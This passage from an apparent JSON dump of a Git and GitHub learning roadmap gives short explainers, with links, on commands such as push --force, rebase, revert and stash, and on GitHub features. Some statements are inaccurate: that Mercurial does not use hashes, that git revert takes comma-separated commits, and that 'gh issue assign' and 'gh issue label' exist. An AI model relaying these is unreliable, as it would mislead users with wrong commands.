    "content": "# git push --force\n\n`git push --force` is a command that allows you to overwrite or \"force\" an existing commit on a remote repository with a new commit from your local repository. This can be useful in certain situations, such as when you need to update the remote branch with changes that were previously rejected or when you want to remove commits that are no longer relevant. However, it's essential to exercise caution when using git push --force because it can overwrite changes made by others or even your own previous work. Always verify that there are no conflicting changes on the remote repository before using this command.\n\nVisit the following resources to learn more:\n\n- [@article@Git Push Force](https://www.gitkraken.com/learn/git/problems/git-push-force)\n- [@video@How to force push to GitHub?](https://www.youtube.com/watch?v=wgXbfLn-zkI)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-rebase@HMEfUFNu_Wp_Pac7VWHr-.md",
    "content": "# git rebase\n\nGit rebase is a powerful command in Git that allows you to integrate changes from one branch into another. Unlike git merge, which creates a new commit to combine the histories of two branches, git rebase moves or applies commits from one branch on top of another, effectively re-writing the commit history.\n\nVisit the following resources to learn more:\n\n- [@official@Git - git-rebase Documentation](https://git-scm.com/docs/git-rebase)\n- [@article@git rebase](https://www.atlassian.com/git/tutorials/rewriting-history/git-rebase)\n- [@video@git rebase - Why, When &amp; How to fix conflicts](https://youtu.be/DkWDHzmMvyg?si=59jauQgkL-sMewzo)\n- [@video@Git Rebase --interactive: EXPLAINED](https://youtu.be/H7RFt0Pxxp8?si=gLhfkVW_PmWHBQSs)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-reflog@hru0sL1-D4bJSQI1efEyU.md",
    "content": "# Git Reflog\n\nGit reflog is a powerful tool in Git that keeps a record of all the changes made to the branches and commits in your repository, including actions that are not part of the regular commit history, such as resetting branches or checking out commits. It's particularly useful for recovering lost commits or understanding the history of changes in your repository, even if those changes are not reflected in the normal commit history.Reflog stands for \"reference log.\" It records when the tip of branches or other references (like HEAD) is updated in your repository.\n\nVisit the following resources to learn more:\n\n- [@official@Git - git-reflog Documentation](https://git-scm.com/docs/git-reflog)\n- [@article@What is the Git Reflog? | Learn Version Control with Git](https://www.git-tower.com/learn/git/faq/what-is-git-reflog)\n- [@video@Learn Git Essentials 12: Git Reflog](https://youtu.be/RVu8lpS7JFY?si=eNGBpsYfHtlyPClj)\n- [@video@Git Reflog Command. Get all log details of the reference using git reflog show command](https://youtu.be/I4f4pddD16g?si=0Ny7xOJgiPgdfuh6)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-remotes@aWx9WHUrgofcTr8B-fQYe.md",
    "content": "# Git Remotes\n\nIn Git, a remote is a reference to a repository that exists on another server or system. Remotes allow you to access and interact with a copy of your repository that is stored elsewhere, making it possible to collaborate with others, share your work, and maintain multiple copies of your repository for backup and disaster recovery purposes. When you add a remote to your local repository, Git creates a reference to the remote repository, enabling you to push changes from your local repository to the remote one, pull changes from the remote to your local one, or fetch changes from the remote without updating your local copy. This enables distributed development and helps maintain a centralized version of your project's history, making it easier to track changes, manage conflicts, and ensure that everyone has access to the most up-to-date code.\n\nVisit the following resources to learn more:\n\n- [@official@About Remote Repositories](https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories)\n- [@video@What is a Remote Repository? [Beginner Git Tutorial]](https://www.youtube.com/watch?v=Lb4yvfrX_7I)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-reset@igrR7LguU1jemg_mf_AD6.md",
    "content": "# git reset\n\nGit reset is a command that allows you to \"undo\" or reset your current branch to a previous state by moving its HEAD pointer, effectively discarding changes made since then. When using git reset, it's essential to specify one of the three modes: soft, hard, or mixed. The mode you choose will determine how Git interacts with files in your working directory and staging area.\n\nVisit the following resources to learn more:\n\n- [@article@git reset](https://www.atlassian.com/git/tutorials/undoing-changes/git-reset)\n- [@video@Git Reset | How to Use Git Reset | Learn Git](https://www.youtube.com/watch?v=s1idhUiCk38)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-revert@dLr55Om7IOvI53c1DgTKc.md",
    "content": "# git revert\n\nGit revert is a command that allows you to \"undo\" or revert specific commits in your Git repository. It creates a new commit that reverses the changes made by the specified commit(s), effectively rolling back your code to a previous state.\n\nHere are some key things to know about `git revert`:\n\n- Reverts changes, not moves HEAD: Unlike `git reset`, which can move your current branch's head to a different point in history, `git revert` creates new commits that reverse the changes made by specific commit(s).\n- Creates new commits: Each time you use `git revert`, it creates a new commit that undoes the specified change. This means your Git history will still contain all previous commits.\n- Can be used with multiple commits: If you want to revert multiple commits, simply specify their hashes or references (e.g., branch names) separated by commas.\n\nVisit the following resources to learn more:\n\n- [@article@Git Revert](https://medium.com/@meghasharmaa704/git-revert-84727b543c17)\n- [@video@Git Revert - Visualised](https://www.youtube.com/watch?v=XJqQPNudPSY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-stash-basics@X9K3PBpGsMoXkJsKdJPI7.md",
    "content": "# Git Stash Basics\n\nGit stash allows you to temporarily save your changes, or \"stashes\", when they're not yet ready for commit. This feature is useful when you need to work on multiple tasks, and want to switch between them without committing changes that are not complete. By using `git stash`, you can quickly stash uncommitted changes, reset the working directory to a clean state, and then apply the stashed changes later when they're ready for commit. This helps avoid cluttering the commit history with incomplete work, and allows you to maintain a clean and organized repository by separating your progress on different tasks.\n\nTo apply a stash in Git, you can use the following commands:\n\n- `git stash apply`: This command applies the topmost stash (the most recent one) by default. It will merge the stashed changes into your current working directory.\n- `git stash apply <stash_name>`: If you want to specify a particular stash, you can use its name instead of default. For example, if you've stored multiple stashes and want to apply an earlier one, you can use <stash_name>.\n- `git stash pop`: This command is similar to apply, but it also automatically deletes the applied stash from the stash list. If you need more control over which stash to apply, using pop might be a better option.\n\nVisit the following resources to learn more:\n\n- [@article@Git stash](https://www.atlassian.com/git/tutorials/saving-changes/git-stash)\n- [@article@A practical guide to using the git stash command](https://opensource.com/article/21/4/git-stash)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-vs-other-vcs@_jSTrYN9G8EsGHkbusKPU.md",
    "content": "# Git vs Other VCS\n\nGit has become the de facto standard for source control in software development, but it's not the only version control system (VCS) available. Here are some key differences between Git and other popular VCS:\n\n- Mercurial: Mercurial is a distributed VCS that uses a similar architecture to Git. However, it has a more centralized approach and doesn't use hashes for tracking changes.\n- Subversion: Subversion is a centralized VCS that's often compared to Git. While both systems support branching and merging, Subversion requires a central server to manage the repository.\n- Perforce: Perforce is a commercial VCS that's designed for large-scale development projects. It uses a centralized approach and has features like build automation and issue tracking.\n- CVS: CVS is an older version control system that's still in use today. However, it lacks many modern features and is often considered outdated.\n\nVisit the following resources to learn more:\n\n- [@article@Git vs. Other VCS: A Comparative Analysis](https://medium.com/@pascalchinedu2000/git-vs-other-vcs-a-comparative-analysis-5cb03ad58e0e)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-worktree@4dxVN81rXWn6VZqK99yq0.md",
    "content": "# Git Worktree\n\nA Git worktree allows you to create multiple working directories for a single repository, each with its own checkout and index. Unlike a regular checkout, which creates a new working directory for a specific branch and updates your IDE's configuration settings, a Git worktree does not require you to switch between branches using git checkout. This means you can have multiple branches checked out at the same time without affecting each other or requiring changes to your IDE configurations. By creating a separate worktree for each branch, you can stage changes independently and maintain distinct working directories without impacting the main repository or its working directory.\n\nVisit the following resources to learn more:\n\n- [@article@Git Worktree](https://www.gitkraken.com/learn/git/git-worktree)\n- [@video@Manage Branches easily using Git Worktree](https://www.youtube.com/watch?v=cRunWRC8ye0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-actions@AmetdCURXXob5TUsikAab.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a very useful tool for automation, allowing developers to automate tasks within the software development lifecycle directly on GitHub.\n\nOne of the best ways to learn about GitHub Actions is through the course offered by Microsoft Learn. This course is well-structured and provides practical examples that are concise and easy to understand.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions](https://docs.github.com/en/actions)\n- [@course@Microsoft Learn: Introduction to GitHub Actions](https://learn.microsoft.com/en-us/collections/n5p4a5z7keznp5)\n- [@course@YouTube: GitHub Actions Playlist](https://www.youtube.com/watch?v=-hVG9z0fCac&list=PLArH6NjfKsUhvGHrpag7SuPumMzQRhUKY&pp=iAQB)\n- [@video@What are GitHub Actions](https://www.youtube.com/watch?v=URmeTqglS58)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-api@NV2HAXLEN7tskfgyFrbaf.md",
    "content": "# GitHub API\n\nThe GitHub API is a powerful tool that allows developers to interact with the GitHub platform programmatically. It provides access to various GitHub features, such as user data, repository information, and commit history, through both REST and GraphQL interfaces. The API supports authentication, implements rate limiting, and offers webhooks for real-time notifications, enabling developers to automate tasks, create custom integrations, and build applications that leverage GitHub's functionality.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub API Docs](https://docs.github.com/en/rest?apiVersion=2022-11-28)\n- [@article@Getting Started](https://docs.github.com/en/rest/using-the-rest-api/getting-started-with-the-rest-api?apiVersion=2022-11-28)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-apps@560GJXFTt7DPdJjKtSDOo.md",
    "content": "# GitHub Apps\n\nA GitHub App is a way to integrate with the GitHub platform programmatically, using either the REST API or GraphQL API. It allows developers to create custom integrations that can automate tasks, provide real-time notifications, and build custom workflows.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Apps Documentation](https://docs.github.com/en/apps)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-classroom@Pg6G4fzYb_RUhANeRKlRX.md",
    "content": "# GitHub Classroom\n\nGitHub Classroom is an integrated feature within GitHub that allows educators to create and assign homework assignments, projects, or quizzes directly to students. This feature streamlines the process of teaching and learning by making it easy for instructors to share code, provide feedback, and track student progress all in one place. By using GitHub Classroom, teachers can focus on high-level instruction and student engagement, while also promoting collaboration and hands-on learning experiences.\n\nVisit the following resources to learn more:\n\n- [@official@About GitHub Classroom](https://docs.github.com/en/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom)\n- [@video@GitHub Classroom - Getting Started Guide](https://www.youtube.com/watch?v=xVVeqIDgCvM&list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-cli@h9cf_dh_pwjialOXOlNW-.md",
    "content": "# GitHub CLI\n\nGitHub CLI is a command-line interface tool that brings GitHub functionality to your terminal. It allows developers to interact with GitHub directly from the command line, enabling them to manage repositories, create issues, pull requests, and perform various GitHub operations without leaving their terminal environment. This powerful tool streamlines workflows, enhances productivity, and provides a seamless integration between local development and GitHub's collaborative features, making it easier for developers to incorporate GitHub into their daily coding routines.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub CLI Docs](https://cli.github.com/)\n- [@video@What is the GitHub CLI?](https://www.youtube.com/watch?v=uy_PEGgUF4U)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-codespaces@NdfwgwMOewiyEAFyC2l7U.md",
    "content": "# GitHub Codespaces\n\nGitHub Codespaces is a cloud-based development environment that allows developers to create, access, and use pre-configured, ready-to-use environments for coding. It provides a seamless way to develop, test, and debug applications in a virtual machine or container, eliminating the need for local setup and configuration. With GitHub Codespaces, users can spin up a new environment with their desired configuration, tools, and dependencies in just a few clicks. This feature streamlines development workflows, reduces friction, and increases productivity by providing instant access to a tailored coding environment for each project.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Codespaces Overview](https://docs.github.com/en/codespaces/overview)\n- [@video@How to Deploy a GitHub Codespace](https://www.youtube.com/watch?v=_01iCF9sO1c)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-copilot@iWn3zDMOfLLjSp6f1jQoE.md",
    "content": "# GitHub Copilot\n\nGitHub Copilot is an AI-powered code-completion tool that helps developers write code faster and with less errors. It uses a combination of machine learning algorithms and access to GitHub's vast repository of open-source code to provide context-aware suggestions for coding tasks. Copilot can generate entire functions, methods, or even entire classes based on the context of the code being written. This feature aims to reduce the time spent on coding by providing immediate and relevant suggestions, allowing developers to focus more on high-level design and problem-solving.\n\nVisit the following resources to learn more:\n\n- [@official@Quickstart for GitHub Copilot](https://docs.github.com/en/copilot/quickstart)\n- [@video@Intro to GitHob Copilot in Visual Studio](https://www.youtube.com/watch?v=z1ycDvspv8U)\n- [@video@GitHub Copilot in VSCode: Top 10 Features Explained](https://www.youtube.com/watch?v=2nPoiUJpDaU)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-discussions@snWQHCQECZyUXHdn6ppIk.md",
    "content": "# GitHub Discussions\n\nGitHub Discussions is a collaborative communication feature within GitHub repositories that provides a dedicated space for community conversations, questions, and knowledge sharing. It allows team members, contributors, and users to engage in threaded discussions, share ideas, ask for help, and make announcements outside of specific code changes or issues. This feature enhances project collaboration by centralizing important conversations, reducing noise in the issue tracker, and fostering a sense of community around open-source projects or team initiatives.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Discussions Docs](https://docs.github.com/en/discussions)\n- [@video@What is GitHub Discussions?](https://www.youtube.com/watch?v=bErGYN3Ljz8)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-education@pFyMiyNQ16-kP7jKaKKEU.md",
    "content": "# GitHub Education\n\nGitHub Education is a program that provides free and discounted access to GitHub's developer tools, services, and resources for students, teachers, and researchers. This program aims to support education and research in software development, by making it easier for students and educators to learn, collaborate, and build projects on GitHub. By using GitHub Education, students can gain hands-on experience with real-world coding challenges, while educators can create a more engaging and interactive learning environment.\n\nVisit the following resources to learn more:\n\n- [@official@official GitHub Education Docs](https://education.github.com/)\n- [@video@GitHub GitHub Education: free programs, technology, and opportunities available for Students](https://www.youtube.com/watch?v=HIVFdN9VGgw)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-essentials@NeSvgS2yA5x8qbcJHrV__.md",
    "content": "# GitHub Essentials\n\nGitHub Essentials refers to the core features and functionalities that form the foundation of GitHub's version control and collaboration platform. These essentials include repositories for storing and managing code, branches for parallel development, pull requests for code review and merging, issues for tracking tasks and bugs, and collaborative tools like project boards and wikis. Understanding and mastering these fundamental components allows developers to effectively manage their projects, collaborate with team members, and contribute to open-source initiatives, making GitHub an indispensable tool in modern software development workflows.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Essentials - Microsoft](https://learn.microsoft.com/en-us/contribute/content/git-github-fundamentals)\n- [@official@Hello World](https://docs.github.com/en/get-started/start-your-journey/hello-world)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-gists@M2_hBvXou7cCNqsMnexCt.md",
    "content": "# GitHub Gists\n\nA GitHub Gist is a small code or text snippet that can be shared with others. It is a simple way to share code, configuration files, or other snippets of text without creating a full-fledged repository. Gists are useful for sharing examples, demos, or tutorials, and they can also serve as a starting point for larger projects. Each gist has a unique URL that can be shared with others, allowing them to view and edit the content. Gists support various file types, including code files, text files, and even images. They also provide features like syntax highlighting, line numbers, and commit history.\n\nVisit the following resources to learn more:\n\n- [@official@Creating Gists](https://docs.github.com/en/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)\n- [@official@REST API endpoints for Gists](https://docs.github.com/en/rest/gists/gists?apiVersion=2022-11-28)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-interface@qZFtRABvlBbVvsy6T00J2.md",
    "content": "# GitHub Interface\n\nThe GitHub interface is a web-based platform that provides a user-friendly environment for managing and collaborating on software projects. It offers a comprehensive set of tools and features accessible through an intuitive layout, including repository management, code browsing, issue tracking, pull requests, and project boards. The interface is designed to streamline workflows, facilitate team communication, and enhance productivity for developers of all skill levels. With its clean and organized structure, users can easily navigate between different sections of their projects, review code changes, manage tasks, and interact with team members, making it an essential tool for modern software development and version control.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Desktop App](https://github.com/apps/desktop)\n- [@article@Getting Started with GitHub](https://digital.gov/resources/an-introduction-github/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-marketplace@R20LXLLEzNn-SpyFDMRXj.md",
    "content": "# GitHub Marketplace\n\nGitHub Marketplace is a platform that allows developers to discover, install, and manage third-party tools and services directly within their GitHub environment. These tools can provide a range of features, such as code analysis, project management, or collaboration, making it easier for developers to work efficiently and effectively. By using the GitHub Marketplace, developers can streamline their workflow, reduce friction, and focus on writing code.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Marketplace](https://github.com/marketplace)\n- [@official@About GitHub Marketplace for apps](https://docs.github.com/en/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-models@4slyjdk2Eeg5VYY6gCDG6.md",
    "content": "# GitHub Models\n\nGitHub Models is a feature that allows developers to search, explore, and use pre-trained AI models from various sources. This platform provides a way to discover and experiment with these models, making it easier to integrate AI capabilities into software projects. By using GitHub Models, developers can quickly find and try out different models, without having to train them from scratch.\n\nVisit the following resources to learn more:\n\n- [@official@Prototyping with AI models](https://docs.github.com/en/github-models/prototyping-with-ai-models)\n- [@video@GitHub Models DEMO | AI models for developers on GitHub](https://www.youtube.com/watch?v=WiBB8Lsgl7I)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-organizations@RMrxQLhrINO5g4Mhxh5qS.md",
    "content": "# GitHub Organizations\n\nGitHub Organizations are shared accounts that provide centralized management and collaboration for multiple projects and teams. They offer enhanced administrative controls, allowing owners to create teams with specific access permissions, manage member roles, and oversee repositories at scale. Organizations facilitate better project coordination, resource sharing, and team communication, making them ideal for businesses, open-source projects, and large-scale collaborations. With features like team discussions, project boards, and audit logs, GitHub Organizations streamline workflow management and foster a more structured and secure development environment.\n\nVisit the following resources to learn more:\n\n- [@official@About Organizations](https://docs.github.com/en/organizations/collaborating-with-groups-in-organizations/about-organizations)\n- [@video@Set up a GitHub Organization](https://www.youtube.com/watch?v=XowSSIhJFuk)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-packages@rqPCHh25xX_ROMr-ULpaw.md",
    "content": "# GitHub Packages\n\nGitHub Packages is a package repository service that allows developers to store and share packages, containers, and other software artifacts. It provides a central location for sharing packages with teams, organizations, or the wider developer community. GitHub Packages supports popular package managers like npm, Maven, and Gradle, as well as container registries like Docker Hub. This feature enables seamless integration of packages into development workflows, making it easier to share dependencies, libraries, and frameworks within and across projects. By using GitHub Packages, developers can simplify dependency management, reduce errors, and improve overall collaboration.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to GitHub Packages](https://docs.github.com/en/packages/learn-github-packages/introduction-to-github-packages)\n- [@official@GitHub Packages documentation](https://docs.github.com/en/packages)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-pages@bnai6R6pOq_L5CPdbVwMW.md",
    "content": "# GitHub Pages\n\nGitHub Pages is a feature that allows users to host and publish web content directly from their GitHub repositories. It provides a simple way to create and deploy websites, blogs, or projects without the need for manual configuration or maintenance. Users can upload custom themes, add plugins, and use various tools to customize their pages.\n\nVisit the following resources to learn more:\n\n- [@official@About GitHub Pages](https://docs.github.com/en/pages/getting-started-with-github-pages/about-github-pages)\n- [@official@Creating a GitHub Pages site](https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-github-pages-site)\n- [@official@GitHub Pages examples](https://github.com/collections/github-pages-examples)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-projects@DzFJDdqnSy5GeGHWOpcVo.md",
    "content": "# GitHub Projects\n\nGitHub Projects is a flexible project management tool integrated directly into GitHub repositories. It allows teams to create customizable project boards, track issues and pull requests, and manage workflows using Kanban-style columns or table views. With features like automated workflows, custom fields, and various visualization options, GitHub Projects helps teams organize, prioritize, and track work across multiple repositories. This tool enhances collaboration, increases transparency, and streamlines project management processes, making it easier for developers and stakeholders to stay aligned on project goals and progress.\n\nVisit the following resources to learn more:\n\n- [@official@About Projects](https://docs.github.com/en/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)\n- [@video@How to use Projects Roadmap](https://www.youtube.com/watch?v=D80u__nYYWw)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-releases@YmnTrjJtqHPXbEVrP8vd7.md",
    "content": "# GitHub Releases\n\nGitHub Releases is a feature that allows developers to package and distribute software versions to users. It provides a way to create tagged points in a repository's history, attach binary files (such as compiled executables or packaged code), and include release notes. This feature makes it easy to track and manage different versions of a project, share pre-compiled binaries with users who may not want to build from source, and communicate changes and updates to the community. GitHub Releases integrates seamlessly with Git tags and can be automated as part of a continuous integration and deployment pipeline.\n\nVisit the following resources to learn more:\n\n- [@official@About Releases](https://docs.github.com/en/repositories/releasing-projects-on-github/about-releases)\n- [@article@REST API endpoints for releases](https://docs.github.com/en/rest/releases/releases?apiVersion=2022-11-28)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-security@f2PG4t6iVtfIH8BVe5H7f.md",
    "content": "# GitHub Security\n\nGitHub Security is a suite of features and tools that help developers identify, fix, and prevent security vulnerabilities in their code. It provides a comprehensive approach to secure coding practices by integrating with the developer's workflow. The main components of GitHub Security include: `Code Scanning`, which uses AI-powered analysis to detect potential vulnerabilities; `Dependabot`, which automates dependency updates to prevent attacks via vulnerable dependencies; `Secret scanning`, which detects and flags secrets like API keys or credentials; and `GitHub Advanced Security`, which offers more advanced security features for larger teams. By using these tools, developers can ensure their code is secure, and identify potential issues before they become serious problems.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub security features](https://docs.github.com/en/code-security/getting-started/github-security-features)\n- [@official@Dependabot Quick-start Guide](https://docs.github.com/en/code-security/getting-started/dependabot-quickstart-guide)\n- [@official@About user alerts](https://docs.github.com/en/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts#about-user-alerts)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-sponsors@vhdGUhMAyre_Xya6IxZ-t.md",
    "content": "# GitHub Sponsors\n\nA GitHub Sponsor is a way to support and fund open-source projects on GitHub. It allows maintainers of public repositories to receive financial support from users who value their work. Sponsors can contribute funds to help with expenses, development time, or other project-related costs. In return, sponsors are recognized as supporters in the repository's README file and on the project's website. This feature promotes transparency, accountability, and appreciation within open-source communities, making it easier for maintainers to focus on their projects.\n\nVisit the following resources to learn more:\n\n- [@official@Sponsoring an open source contributor through GitHub](https://docs.github.com/en/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github)\n- [@official@Receiving sponsorships through GitHub Sponsors](https://docs.github.com/en/sponsors/receiving-sponsorships-through-github-sponsors)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/github-wikis@lONqOqD-4slxa9B5i9ADX.md",
    "content": "# GitHub Wikis\n\nGitHub Wikis are collaborative documentation spaces integrated directly into GitHub repositories. They provide a platform for teams to create, edit, and organize project-related information, such as documentation, guidelines, and FAQs. Wikis support Markdown formatting, making it easy to structure content and include images or links. With version control and the ability to clone wiki repositories, teams can collaboratively maintain up-to-date documentation alongside their code, enhancing project understanding and facilitating knowledge sharing among contributors and users.\n\nVisit the following resources to learn more:\n\n- [@official@About Wikis](https://docs.github.com/en/communities/documenting-your-project-with-wikis/about-wikis)\n- [@official@Documenting your project with Wikis](https://docs.github.com/en/communities/documenting-your-project-with-wikis)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/gitignore@oz2oRAhaEQb0Fm3aRJQG8.md",
    "content": "# .gitignore\r\n\r\nIgnored files are tracked in a special file named `.gitignore` that is checked in at the root of your repository. There is no explicit git ignore command: instead the `.gitignore` file must be edited and committed by hand when you have new files that you wish to ignore. `.gitignore` files contain patterns that are matched against file names in your repository to determine whether or not they should be ignored.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@official@gitignore Documentation](https://git-scm.com/docs/gitignore)\r\n- [@article@.gitignore file - ignoring files in Git | Atlassian Git Tutorial](https://www.atlassian.com/git/tutorials/saving-changes/gitignore)\r\n- [@article@Ignoring files - GitHub Docs](https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files)\r\n- [@opensource@gitignore - A collection of useful .gitignore templates](https://github.com/github/gitignore)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/graphql-api@KlXPt-K6br8PtpLgELaCj.md",
    "content": "# GraphQL API\n\nThe GitHub GraphQL API is a set of APIs that provides access to various GitHub features, such as user data, repository information, and commit history. It allows developers to interact with the GitHub platform programmatically using GraphQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub GraphQL API documentation](https://docs.github.com/en/graphql)\n- [@official@Forming calls with GraphQL](https://docs.github.com/en/graphql/guides/forming-calls-with-graphql)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/handling-conflicts@9Dt4Gyiiq5jteWSKxsRMK.md",
    "content": "# Handling Conflicts\n\nWhen multiple developers work on the same project simultaneously, conflicts can arise during the merging process. This occurs when changes made by different individuals overlap or contradict each other in a specific code file. In such situations, Git's conflict resolution mechanism comes into play, allowing users to manually resolve these issues and merge the conflicting changes.\n\nVisit the following resources to learn more:\n\n- [@article@Resolving a merge conflict using the command line](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)\n- [@article@Resolve merge conflicts in Visual Studio](https://learn.microsoft.com/en-us/visualstudio/version-control/git-resolve-conflicts?view=vs-2022)\n- [@video@Resolve Git MERGE CONFLICTS: The Definitive Guide](https://www.youtube.com/watch?v=Sqsz1-o7nXk)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/head@V8nLIvddyOKTzEjOJX5GW.md",
    "content": "# HEAD\n\nThe `HEAD` file is at the core of how Git knows the SHA-1 of the last commit when running commands like `git branch <branch>`. It serves as a symbolic reference, pointing to the current branch. However, in rare cases, HEAD can contain the actual SHA-1 value of a Git object, such as when checking out a tag, commit, or remote branch, which puts your repository in a \"detached HEAD\" state.\n\nVisit the following resources to learn more:\n\n- [@official@Git Internals - Git References - The HEAD](https://git-scm.com/book/en/v2/Git-Internals-Git-References#:~:text=want%20to%20create.-,The%20HEAD,-The%20question%20now)\n- [@video@Learn Git Essentials: Head & Detached Head](https://www.youtube.com/watch?v=HvDjbAa9ZsY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/history@zen3RRdK9_nPAYgicRoHk.md",
    "content": "# History\n\nThe history of a Git repository is a record of all commits made over time, including changes to files, commit messages, and metadata. This history is stored as a series of snapshots, with each commit representing a new version of the codebase.\n\nVisit the following resources to learn more:\n\n- [@official@Git Basics - Viewing the Commit History](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/installation-and-setup@vHfpoVbOW0DHNtiy0VN4X.md",
    "content": "# Installation and Setup\n\nThe GitHub CLI can be installed on Windows, macOS, and Linux operating systems. Installation options include downloading binaries directly from the release page or using package managers (such as homebrew, pip, etc).\n\nOnce installed, setting up the GitHub CLI typically involves authenticating with your GitHub account by running `gh auth login` in your terminal. This step is essential for linking your GitHub credentials to the CLI, allowing you to interact with your repositories and perform various actions.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub CLI - Installation](https://github.com/cli/cli?tab=readme-ov-file#installation)\n- [@official@GitHub CLI - Release](https://github.com/cli/cli/releases/)\n- [@official@GitHub CLI Quickstart](https://docs.github.com/en/github-cli/github-cli/quickstart)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/installing-git-locally@v7hCNbgPByi3YiLSs46BK.md",
    "content": "# Installing Git Locally\n\nTo use Git on your local machine, you need to install it first. The installation process varies depending on your operating system:\n\n- On Windows: Download the binary from the official Git or GitHub release page and follow the installation instructions.\n- On macOS (using Homebrew): Run `brew install git` in your terminal.\n- On Linux: Run `sudo apt-get install git` or `sudo yum install git` depending on your distribution.\n\nOnce installed, you can verify the Git version by running `git --version` in your terminal. This will display the currently installed Git version.\n\nVisit the following resources to learn more:\n\n- [@official@Git - Downloads](https://git-scm.com/downloads)\n- [@article@Install Git](https://github.com/git-guides/install-git)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/issue-management@kGnZifvXbHBf5zXIsfAQw.md",
    "content": "# Issue Management\n\nThe GitHub CLI provides a range of features for managing issues within your repository. Here are some key actions you can perform:\n\n- Listing issues: Run `gh issue list` to view a list of all open and closed issues.\n- Creating issues: Use `gh issue create --title \"Issue Title\" --body \"Issue body\"` to create a new issue with the specified title and body.\n- Assigning issues: Run `gh issue assign <issue-number> <username>` to assign an issue to a specific user.\n- Labelling issues: Use `gh issue label <issue-number> <label-name>` to add a label to an existing issue.\n- Closing issues: Run `gh issue close <issue-number>` to mark an issue as closed.\n\nVisit the following resources to learn more:\n\n- [@official@gh issue](https://cli.github.com/manual/gh_issue)\n- [@video@Manage GitHub Issues From The Command Line Using GitHub CLI](https://www.youtube.com/watch?v=nuCQiP41jU0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/issues@crdllx5cH_seIpgVPvHg_.md",
    "content": "# Issues\n\nOn GitHub, an issue is a way to track and report bugs, feature requests, or other problems with a repository. Here are some key aspects of issues:\n\n- Creating issues: Users can create new issues by submitting a form on the repository's Issues page.\n- Issue titles and descriptions: Each issue has a title and body (description), which provide context for the problem or request.\n- Assignees: Issues can be assigned to specific users, who are then responsible for addressing the issue.\n- Labels: Labels are used to categorize issues by topic, priority, or other criteria. This helps filter and organize issues within a repository.\n- States: Issues have states that reflect their status, such as \"Open\", \"Closed\", or \"Pending\".\n- Comments: Users can comment on existing issues to discuss or provide additional context.\n- Labels and milestones: Issues can be associated with labels (topics) and milestones (deadlines), which help filter and prioritize them.\n\nIssues are a core feature of GitHub repositories, enabling teams to collaborate effectively on resolving problems and implementing new features.\n\nVisit the following resources to learn more:\n\n- [@official@About Issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/about-issues)\n- [@video@What is GitHub Issues?](https://www.youtube.com/watch?v=6HWw7rhwvtY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/kanban-boards@RFJgfuxoVxt22QlwLI5mW.md",
